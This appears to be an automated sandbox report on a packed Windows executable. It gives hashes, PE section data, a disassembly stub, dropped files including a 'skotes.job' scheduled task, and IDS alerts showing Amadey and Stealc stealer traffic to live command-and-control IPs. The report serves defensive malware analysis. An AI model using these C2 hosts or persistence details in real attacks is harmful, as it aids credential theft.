Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@.......................... 2.....h32...@.................................W...k.......H...................@.1...............................1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...bmmskeqc.0+......(+.................@...hxetqgxg......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsDBAAFIDGDA.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4334307891203686
Encrypted:	false
SSDEEP:	6:V6pjX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB1lpevEt0:cjuQ1CGAFifXVBvpect0
MD5:	D73423458D4C3EC2E2581F9187A3373D
SHA1:	8935D33FD3446BD020D633A40589F0EA9434CF36
SHA-256:	8CC16465C377760287EDBDC5F978E01802C6D74384103428915A244E2904B63A
SHA-512:	651864A3440095BE5D628DFE31573032037C4D111644C15576742EF3C90E85E742FBE8ADFDAF3500EB23CF25C7E78C708888629CC6A9A6B46B77568C6869A8F2
Malicious:	false
Preview:	.....MS.j.B...{7.>CF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................%.@3P.........................

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1019)
Category:	downloaded
Size (bytes):	1024
Entropy (8bit):	5.592234271973539
Encrypted:	false
SSDEEP:	24:jRmK1BHslgT9lCuARG4M95GyfVkyMQuoB7HHHHHHHYqHfffffo:j31KlgZ01Rc95n9kyMQuSEqHfffffo
MD5:	A66979D433491E40F6AD448BC624F3BC
SHA1:	99CB17DAAB738FB3EC97602346D2B1FEA4657521
SHA-256:	17142F1BE7D57ADAB5ED5C7575C3EB285A4E912064C63FD859EFD3B185ADC18E
SHA-512:	7074509E218CEE6D8CBEF21BBA2C761E9B604B9E4D4F15A88EEB3BA3D00480E43503C00FE120DE9D2537FB02C4C96045843457D7D1CF3521EDAEE2846F15C67F
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nascar","amazon black friday deals","wordle today november 16","vandalism","aurora borealis northern lights forecast","nick diaz ufc 310","warren buffett stocks","young restless spoilers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CggvbS8wNTk5eRIHQ29tcGFueTJkaHR0cHM6Ly9lbmNyeXB0ZWQtdGJuMC5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUUFjLU9wX3QydzdlUEpWLS1YT3cxS2FwOFAwc1dkNnBTY3cwU3dyNFkmcz0xMDoGTkFTQ0FSSgcjMDI2NGEzUi1nc19zc3A9ZUp6ajR0RFAxVGN3dGJTc05HRDBZc3RMTEU1T0xBSUFMRzRGSndwB3AX","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["ENTITY","QUERY","QUERY","QUERY","QUERY","Q

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133042
Entropy (8bit):	5.435137947576773
Encrypted:	false
SSDEEP:	3072:fHkPdsBJT7bKwkztS6STFSz1nrmsSnXYK02i6o:fodUW5c5Sz1nKsSnoK08o
MD5:	0EA4E7FE4E3A0DD5CCDC95838AD9EAAD
SHA1:	DD59A9FF0CF3A03AD2A62F37B30D404250875618
SHA-256:	BE36BF2BE9B26B652E710A7CC71E62DB98BE7C3A688D7AFF8002FB610F5F717B
SHA-512:	A1BF3A71EF0C0BA3653434064FA8C692CE1A58FEF7A683FB0C9159C454F775BA9AFADFC3414736EBE7DD9FCA5F6DA2F8EC495E115421D7A14019C3C475A2EC58
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945677308691547
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'754'112 bytes
MD5:	9ea9935be7e022c3c028426decbdeadc
SHA1:	719e5cdce4edbb08582914a32a29aae65fa56a5a
SHA256:	6f1cf7e7a7d52a6404f6b5e224cfaa8d6dea2f462ac1ba1cc09ec37ca4ed636f
SHA512:	d747b96000d3144d3adf24f8cc13d0999c200315444d190272ae82711af086631cd58f4178834711e4ac38b464a27bf2de8d50ea6f5cdda37038c0de2a337d11
SSDEEP:	49152:k5KZFAWO5Gk1hi1bei5gyNkM9t8+G33wLNYSY2yzLV:k4ZFtO5/hil9qu9hNnW
TLSH:	F0853358DE932965D6A75331B8FA8A36EF503913D0B87A847DEB436D8843C04C5FD83A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa79000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2D44D39B3Ah
cpuid
sbb al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F2D44D3BB35h
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	aee12e7a9e10e53bb86cf0d862ad7ffc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	20e17f2f5da3a0813da06ec90253aa80	False	0.79296875	data	6.02637550353719	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x299000	0x200	2f14d74e7181cf188ea75394fe2a3d86	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pxqeommn	0x4e5000	0x193000	0x192400	e8ed4d64db7ad57dd08a7e614cb7334c	False	0.9949065801740211	data	7.954889685687391	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ogeyivxc	0x678000	0x1000	0x600	958377c47ffb63556443718a776e910d	False	0.544921875	data	4.922451747274637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x679000	0x3000	0x2200	72dc0dcf4cdc51216517d35db94e7b74	False	0.06376378676470588	DOS executable (COM)	0.7001900046469495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x677168	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-16T23:36:02.930487+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49467	TCP
2024-11-16T23:36:12.958994+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T23:36:13.241480+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T23:36:13.247242+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-16T23:36:13.523864+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T23:36:13.530926+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-16T23:36:14.618817+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T23:36:15.141060+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T23:36:34.773250+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:36.061737+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:37.751958+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:39.572996+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:41.117982+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:41.788026+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49824	185.215.113.206	80	TCP
2024-11-16T23:36:46.104951+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49961	185.215.113.16	80	TCP
2024-11-16T23:38:05.921400+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49466	185.215.113.43	80	TCP
2024-11-16T23:38:09.254272+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49468	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 16, 2024 23:36:02.930486917 CET	49675	443	192.168.2.5	23.1.237.91
Nov 16, 2024 23:36:02.930488110 CET	49674	443	192.168.2.5	23.1.237.91
Nov 16, 2024 23:36:03.024259090 CET	49673	443	192.168.2.5	23.1.237.91
Nov 16, 2024 23:36:10.852379084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:10.861779928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:10.861871004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:10.862181902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:10.871084929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:12.539813995 CET	49675	443	192.168.2.5	23.1.237.91
Nov 16, 2024 23:36:12.540040016 CET	49674	443	192.168.2.5	23.1.237.91
Nov 16, 2024 23:36:12.633550882 CET	49673	443	192.168.2.5	23.1.237.91
Nov 16, 2024 23:36:12.663446903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:12.663503885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:12.663693905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:12.663741112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:12.663858891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:12.663892031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:12.664194107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:12.664252996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:12.666631937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:12.671618938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:12.958797932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:12.958993912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:12.960619926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:12.965888023 CET	80	49704	185.215.113.206	192.168.2.5
